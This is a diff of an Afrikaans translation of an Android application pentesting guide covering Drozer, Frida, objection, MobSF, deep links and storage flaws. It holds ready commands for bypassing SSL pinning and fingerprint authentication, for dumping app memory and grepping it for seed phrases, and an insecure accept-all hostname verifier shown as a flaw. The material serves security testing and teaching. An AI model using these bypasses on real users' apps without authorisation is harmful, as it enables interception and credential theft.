toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**). +'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**). Meer inligting in: @@ -99,7 +99,7 @@ android-task-hijacking.md **Interne Stoor** -In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige. +In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige. 1. **Statiese Analise:** - **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel. @@ -114,10 +114,10 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaarte, moet sekere vo - Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry. 2. **Sekuriteitskwessies**: - Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie. -- Eksterne stoor kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak. +- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak. 3. **Hantering van Data van Eksterne Stoor**: - Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom. -- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor. +- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor te stoor vir dinamiese laai. - As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf. Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` @@ -134,7 +134,7 @@ Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt **Aanvaar Alle Sertifikate** -Vir een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie: +Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -153,9 +153,9 @@ Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **k ### Ander kontroles -- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers te bemoeilik. +- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers moeilik te maak. - As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree. -- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word. +- As die app sensitief is (soos bankapps), moet dit kyk of 'n **emulator** gebruik word. - As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer word** om te kyk of dit gewysig is. - Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuskeerder gebruik is om die APK te bou. @@ -199,7 +199,7 @@ bypass-biometric-authentication-android.md - **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Stuur SMS's**: `sendTextMessage, sendMultipartTestMessage` -- **Inheemse funksies** verklaar as `native`: `public native, System.loadLibrary, System.load` +- **Inheemse funksies** wat as `native` verklaar is: `public native, System.loadLibrary, System.load` - [Lees dit om te leer **hoe om inheemse funksies om te keer**](reversing-native-libraries.md) ### **Ander truuks** @@ -214,7 +214,7 @@ content-protocol.md ## Dinamiese Analise -> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom word 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel. +> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom is 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel. ### Aanlyn Dinamiese analise @@ -237,7 +237,7 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** af te laai om potensiële foute te vermy._) - [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie). > [!NOTE] @@ -247,7 +247,7 @@ Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op di ![](<../../images/image (277).png>) -Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels sal aansluit). +Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels). #### Gebruik 'n fisiese toestel @@ -260,13 +260,13 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r 5. Gaan terug en jy sal die **Ontwikkelaar opsies** vind. > Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en te ondersoek wat dit doen, hoe dit werk en om gemaklik daarmee te raak.\ -> Ek sal voorstel om **hierdie aanvanklike dinamiese analise te doen met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien. +> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien. ### Onbedoelde Data Lek **Logging** -Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkieslik vir sy gebruiksgemak en leesbaarheid. +Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkies vir sy gebruiksgemak en leesbaarheid. > [!WARNING] > Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan hê**. So toepassings kan nie ander apps se logs toegang nie.\ @@ -274,17 +274,17 @@ Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te st **Kopie/Plak Buffer Kaping** -Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in aangesien **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. +Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. **Crash Logs** -As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. +As 'n toepassing **crash** en **logs** stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. As pentester, **probeer om na hierdie logs te kyk**. -**Analitiese Data Gestuur Aan 3de Partye** +**Analytiese Data Gestuur Aan 3de Partye** -Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en na te gaan of enige sensitiewe inligting aan derdeparty dienste gestuur word. +Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word. ### SQLite DB's @@ -295,10 +295,10 @@ As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema `. -### Drozer (Eksploiteer Aktiwiteite, Inhoud Verskaffers en Dienste) +### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste) -Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om **die rol van 'n Android-app aan te neem** en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\ -Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoud Verskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer. +Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\ +Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer. ### Eksploiteer geëksporteerde Aktiwiteite @@ -318,51 +318,51 @@ Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawe (API weergawes < 21). +**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawes (API weergawes < 21). > [!NOTE] > Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word. **Sensitiewe inligting lekkasie** -**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie. +**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n uitgevoerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie. #### Tapjacking -As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking). +As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking). ### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting -[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\ +[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\ Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees. -[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers) +[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\ +[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\ Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`. -Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksport, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\ -[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services) +'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\ +[**Leer hoe om Dienste met Drozer te benut.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\ +[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\ Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`. 'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\ -[**Leer hoe om Uitzendingontvangers met Drozer te exploiteer.**](#exploiting-broadcast-receivers) +[**Leer hoe om Uitzendingontvangers met Drozer te benut.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` Let daarop dat jy **die pakkie naam kan oorslaan** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak. -```markup +```html Click me @@ -390,12 +390,12 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk ' ### Vervoer Laag Inspeksie en Verifikasie Foute - **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge. -- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel. -- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie koekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie. +- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel. +- **Lek van private inligting** is 'n risiko wanneer toepassings met veilige kanale autentiseer, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie. #### Sertifikaat Verifikasie -Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bediener sertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding. +Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding. #### SSL Pinning @@ -403,9 +403,9 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti #### Verkeer Inspeksie -Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md). +Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteitskonfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteitskonfigurasie, [**verwys na hierdie tutorial**](make-apk-accept-ca-certificate.md). #### Omseiling van SSL Pinning @@ -415,7 +415,7 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om - Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik) -- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- As jy steeds dink dat daar enige verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Soek na Algemene Web Kwesbaarhede @@ -427,15 +427,15 @@ Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassin **Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik. -- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html) +- Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html) - Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection is wonderlik om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Jy kan 'n paar wonderlike Frida skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs)) ### **Dump Geheue - Fridump** -Kontroleer of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics. +Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics. Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met: ```bash @@ -446,7 +446,7 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep: +Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep. ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` @@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Vingerafdruk/Biometriese Omseiling** -Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:** +Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -486,12 +486,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees. -Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings. +Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang te verkry tot sensitiewe inhoudverskaffers deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings. -### Belangrike Afleidings +### Essensiële Afleidings - **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem. -- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat omgerig kan word om onveilige operasies uit te voer. +- Exploits behels die oorplasing van `Intent` objektes as ekstra, wat herlei kan word om onveilige operasies uit te voer. - Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel. - `WebView`’s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer. @@ -511,7 +511,7 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Statiese analise** +**Statische analise** ![](<../../images/image (866).png>) @@ -530,7 +530,7 @@ MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTot **MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\ Die **MobSF dinamiese ontleder** kan: -- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry. +- **Dump toepassingsdata** (URLs, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry. - **HTTPS-verkeer** vasvang - **Frida** gebruik om **runtime** **inligting** te verkry @@ -542,24 +542,24 @@ Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omse MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag. Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\ -MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien). +MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien). ![](<../../images/image (419).png>) Boonop het jy 'n paar bykomende Frida-funksies: -- **Lade Klasse**: Dit sal al die gelaaide klasse druk -- **Vang Strings**: Dit sal al die gevangenis strings 